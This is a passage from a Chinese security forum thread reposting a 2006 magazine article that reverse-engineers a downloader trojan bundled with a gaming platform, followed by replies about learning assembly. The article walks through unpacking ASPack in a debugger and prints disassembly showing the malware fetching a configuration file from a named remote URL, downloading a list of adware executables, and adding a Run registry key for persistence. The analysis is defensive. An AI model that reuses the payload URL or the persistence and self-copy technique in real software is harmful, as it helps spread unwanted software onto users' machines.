发新话题
打印

[原创]和“流氓软件”大声说不

[原创]和“流氓软件”大声说不

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:混世魔王

该文章已发于<<黑客防线>>2006第6期,没什么技术含量,高手略过.
               和“流氓软件”大声说不
                    
   昨天上“浩方对战平台”上了一晚上星际,第二天一早开机,就发现系统目录下有东东访问网络,给我的防火墙拦截了。抱着怀疑找了找目标文件。分析了一下,先申明,我很菜的.写的不好,别骂我。文中有错,还请指教。有不足,望补充.谢谢。
先查壳,

ASPack 2.12 -> Alexey Solodovnikov
0041E001 >  60          PUSHAD            //入口代码
0041E002   E8 03000000    CALL randll32.0041E00A            //F8到此 HR ESP F9运行
0041E007  - E9 EB045D45    JMP 459EE4F7
0041E00C   55          PUSH EBP
0041E00D   C3          RETN

0041E3B0  /75 08        JNZ SHORT randll32.0041E3BA    //F9 运行来到这里
0041E3B2  |B8 01000000    MOV EAX,1
0041E3B7  |C2 0C00      RETN 0C
0041E3BA  \68 BC494100    PUSH randll32.004149BC    //F8下到这里
0041E3BF   C3          RETN

004149BC   55          PUSH EBP          //OEP
004149BD   8BEC        MOV EBP,ESP
004149BF   B9 04000000    MOV ECX,4
004149C4   6A 00        PUSH 0
004149C6   6A 00        PUSH 0
004149C8   49          DEC ECX
到OEP=149BC  DOWN 出来,Import修复一下。Delphi写的。

重新OD 载入脱壳后程序。文件才140多K,很小,借助字符的帮助简单分析了一下。
00413F37  .  55        PUSH EBP
00413F38  .  68 6B414100  PUSH randll_.0041416B
00413F3D  .  64:FF30     PUSH DWORD PTR FS:[EAX]
00413F40  .  64:8920     MOV DWORD PTR FS:[EAX],ESP
00413F43  .  8D45 FC     LEA EAX,DWORD PTR SS:[EBP-4]
00413F46  .  BA B4414100  MOV EDX,randll_.004141B4            ;  
http://www.yeacool.net/updatenew/updatetl.txt
程序运行后会访问这个URL,读取信息。
00413F4B  .  E8 ECFDFEFF  CALL randll_.00403D3C
00413F50  .  8D45 DC     LEA EAX,DWORD PTR SS:[EBP-24]
00413F53  .  E8 84070000  CALL randll_.004146DC
00413F58  .  8B55 DC     MOV EDX,DWORD PTR SS:[EBP-24]
00413F5B  .  8D45 F8     LEA EAX,DWORD PTR SS:[EBP-8]
00413F5E  .  B9 EC414100  MOV ECX,randll_.004141EC            ;  
update.ini 读取完后,会生成一个update.ini文件保存读取的信息
00413F63  .  E8 2400FFFF  CALL randll_.00403F8C
00413F68  .  8B45 F8     MOV EAX,DWORD PTR SS:[EBP-8]
00413F6B  .  E8 A032FFFF  CALL randll_.00407210
00413F70  .  84C0       TEST AL,AL
00413F72  .  74 08      JE SHORT randll_.00413F7C
00413F74  .  8B45 F8     MOV EAX,DWORD PTR SS:[EBP-8]
00413F77  .  E8 A432FFFF  CALL randll_.00407220
00413F7C  >  8B55 F8     MOV EDX,DWORD PTR SS:[EBP-8]
00413F7F  .  8B45 FC     MOV EAX,DWORD PTR SS:[EBP-4]
00413F82  .  E8 85070000  CALL randll_.0041470C
00413F87  .  84C0       TEST AL,AL
00413F89  .  75 0D      JNZ SHORT randll_.00413F98
00413F8B  .  33C0       XOR EAX,EAX
00413F8D  .  5A        POP EDX
00413F8E  .  59        POP ECX
00413F8F  .  59        POP ECX
00413F90  .  64:8910     MOV DWORD PTR FS:[EAX],EDX
00413F93  .  E9 DD010000  JMP randll_.00414175
00413F98  >  8B4D F8     MOV ECX,DWORD PTR SS:[EBP-8]
00413F9B  .  B2 01      MOV DL,1
00413F9D  .  A1 B82B4100  MOV EAX,DWORD PTR DS:[412BB8]
00413FA2  .  E8 C1ECFFFF  CALL randll_.00412C68
00413FA7  .  8945 F4     MOV DWORD PTR SS:[EBP-C],EAX
00413FAA  .  6A 00      PUSH 0
00413FAC  .  8D45 D8     LEA EAX,DWORD PTR SS:[EBP-28]
00413FAF  .  50        PUSH EAX
00413FB0  .  B9 00424100  MOV ECX,randll_.00414200            ; filelist  
00413FB5  .  BA 14424100  MOV EDX,randll_.00414214            ;  settings
00413FBA  .  8B45 F4     MOV EAX,DWORD PTR SS:[EBP-C]
00413FBD  .  8B18       MOV EBX,DWORD PTR DS:[EAX]
00413FBF  .  FF13       CALL DWORD PTR DS:[EBX]
00413FC1  .  8B45 D8     MOV EAX,DWORD PTR SS:[EBP-28]
filelist  和 settings  看下updatetl.txt里面的内容就很清楚了。

updatetl.txt内容为:
[settings]
filelist=iplus0417.exe,0,1;wd2_051117_WIS207_mini.exe,0,1;all0417.exe,0,1;0112_
9.exe,0,1;194026.exe,0,1;s28979.exe,0,1;Kuaiso.exe,0,1;01YYAZ01.exe,0,1;dsogou0
415.exe,0,1;pcast207.exe,0,1;


0041428B  |.  E8 C0F9FFFF  CALL randll_.00413C50
00414290  |.  33C9       XOR ECX,ECX
00414292  |.  BA E4424100  MOV EDX,randll_.004142E4            ;  
\software\microsoft\windows\currentversion\run
写注册表启动项目
00414297  |.  8BC3       MOV EAX,EBX
00414299  |.  E8 16FAFFFF  CALL randll_.00413CB4
0041429E  |.  8B4D FC     MOV ECX,DWORD PTR SS:[EBP-4]
004142A1  |.  BA 1C434100  MOV EDX,randll_.0041431C            ;  
rundll32  键值为 rundll32
004142A6  |.  8BC3       MOV EAX,EBX

00414364  |.  BA FC434100  MOV EDX,randll_.004143FC            ;  
rundll32.ini
00414369  |.  E8 DAFBFEFF  CALL randll_.00403F48
0041436E  |.  8B4D F4     MOV ECX,DWORD PTR SS:[EBP-C]
00414371  |.  B2 01      MOV DL,1
00414373  |.  A1 B82B4100  MOV EAX,DWORD PTR DS:[412BB8]
00414378  |.  E8 EBE8FFFF  CALL randll_.00412C68
0041437D  |.  8BD8       MOV EBX,EAX
0041437F  |.  6A 00      PUSH 0
00414381  |.  8D45 F8     LEA EAX,DWORD PTR SS:[EBP-8]
00414384  |.  50        PUSH EAX
00414385  |.  B9 14444100  MOV ECX,randll_.00414414            ;  ASCII "hasdown"
0041438A  |.  BA 24444100  MOV EDX,randll_.00414424            ;  ASCII "settings"
保存为rundll32.ini 和写入内容hasdown 和 settings 设置

00414681  |.  8BD8       MOV EBX,EAX
00414683  |.  68 FF000000  PUSH 0FF                      ; /BufSize = FF (255.)
00414688  |.  53        PUSH EBX                      ; |Buffer
00414689  |.  E8 0A14FFFF  CALL <JMP.&kernel32.GetSystemDirectoryA> ; \GetSystemDirectoryA
GetSystemDirectoryA获得系统目录

004146EC  |.  53        PUSH EBX                      ; /Buffer
004146ED  |.  68 FF000000  PUSH 0FF                      ; |BufSize = FF (255.)
004146F2  |.  E8 A913FFFF  CALL <JMP.&kernel32.GetTempPathA>      ; \GetTempPathA
gettemppatha 得到的路径

004147ED  |.  68 C0484100  PUSH randll_.004148C0              ; /pModule = "kernel32"
004147F2  |.  E8 7912FFFF  CALL <JMP.&kernel32.GetModuleHandleA>   ; \GetModuleHandleA
GetModuleHandleA  获取一个应用程序或动态链接库的模块句柄
004147F7  |.  8985 F0FEFFFF MOV DWORD PTR SS:[EBP-110],EAX
004147FD  |.  83BD F0FEFFFF>CMP DWORD PTR SS:[EBP-110],0
00414804  |.  74 47      JE SHORT randll_.0041484D
00414806  |.  68 CC484100  PUSH randll_.004148CC              ; /ProcNameOrOrdinal = "ExitProcess"    ExitProcess 以干净的方式关闭一个进程  
0041480B  |.  8B85 F0FEFFFF MOV EAX,DWORD PTR SS:[EBP-110]        ; |
00414811  |.  50        PUSH EAX                      ; |hModule
00414812  |.  E8 6912FFFF  CALL <JMP.&kernel32.GetProcAddress>    ; \GetProcAddress
00414817  |.  8985 F4FEFFFF MOV DWORD PTR SS:[EBP-10C],EAX
0041481D  |.  68 D8484100  PUSH randll_.004148D8              ; /ProcNameOrOrdinal = "DeleteFileA"   DeleteFileA 删除指定文件
00414822  |.  8B85 F0FEFFFF MOV EAX,DWORD PTR SS:[EBP-110]        ; |
00414828  |.  50        PUSH EAX                      ; |hModule
00414829  |.  E8 5212FFFF  CALL <JMP.&kernel32.GetProcAddress>    ; \GetProcAddress
0041482E  |.  8985 ECFEFFFF MOV DWORD PTR SS:[EBP-114],EAX
00414834  |.  68 E4484100  PUSH randll_.004148E4              ; /ProcNameOrOrdinal = "UnmapViewOfFile"
00414839  |.  8B85 F0FEFFFF MOV EAX,DWORD PTR SS:[EBP-110]        ; |
0041483F  |.  50        PUSH EAX                      ; |hModule
00414840  |.  E8 3B12FFFF  CALL <JMP.&kernel32.GetProcAddress>    ; \GetProcAddress

总结:
一个典型下载者,从http://www.yeacool.net/updatenew/updatetl.txt读取配置,并且下载同级目录下的iplus0417.exe wd2_051117_WIS207_mini.exe all0417.exe 0112_9.exe 等.流氓软件或木马软件。
程序自身写注册表启动项(\software\microsoft\windows\currentversion\run),键值为 rundll32。在非系统目录下运行会复制自身到系统文件下。并删除原来运行程序。在进程中可以看到rundll32的进程。
     在玩浩方对战平台会有下载安装流氓软件的提示,那时候程序都已下载完了。在你的浩方程序目录下,你可以设置流氓软件安装程序文件访问权限为任何都不能访问就可以了。
取保候审中........

TOP

魔王的汇编提高了不少哦

想到汇编我想到cnasm也出木马了
论坛地址: http://www.ssk2.cn & www.iisuser.com

TOP

第一次发贴,如果不合要求麻烦警告一下就行了~~~~~~~
哪位能说一下怎么学好汇编吗?我是自学的汇编,8086/88,看的书也不感到很难,基本上程序都能看懂个大概,但问题是:如果要我用汇编写一个程序,就写不出来了,我对底层存储的理解也不够,不知道现在学汇编除了破解一般还有什么用?
Welcome to My Blog :  http://nokyo.blogbus.com/

TOP

如果单学了汇编也就只能破解...如果还学了VC.VB.或其他的东西..那就很广泛了。
取保候审中........

TOP

罗的WIN32下的汇编可以帮助你用汇编写程序

TOP

请教下你用的汇编工具是.........................
zaizai.7blog.net/

TOP

一直想学汇编~~课都上过了,还是不会~ [s:40]

TOP

引用:
请教下你用的汇编工具是.........................
编译汇编的工具很多,一般都是MASM,MASMPlus等等
引用:
一直想学汇编~~课都上过了,还是不会~
  汇编在课堂上是学不会的...每一位高手不就是参考别人的代码,然后给自己预定一个目标,接着编写汇编代码来实现...例如你的目标是要写个计算器,你就设置要实现的步骤,例如怎么实现GUI,算法,在编写的过程,遇到麻烦,要寻找资料,参考代码等等..
  课堂上学习汇编,是不会出现汇编高手............. [s:73]
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

“在玩浩方对战平台会有下载安装流氓软件的提示,那时候程序都已下载完了。在你的浩方程序目录下,你可以设置流氓软件安装程序文件访问权限为任何都不能访问就可以了。”

怎么设置呢?我没试过啊!请赐教!

TOP

发新话题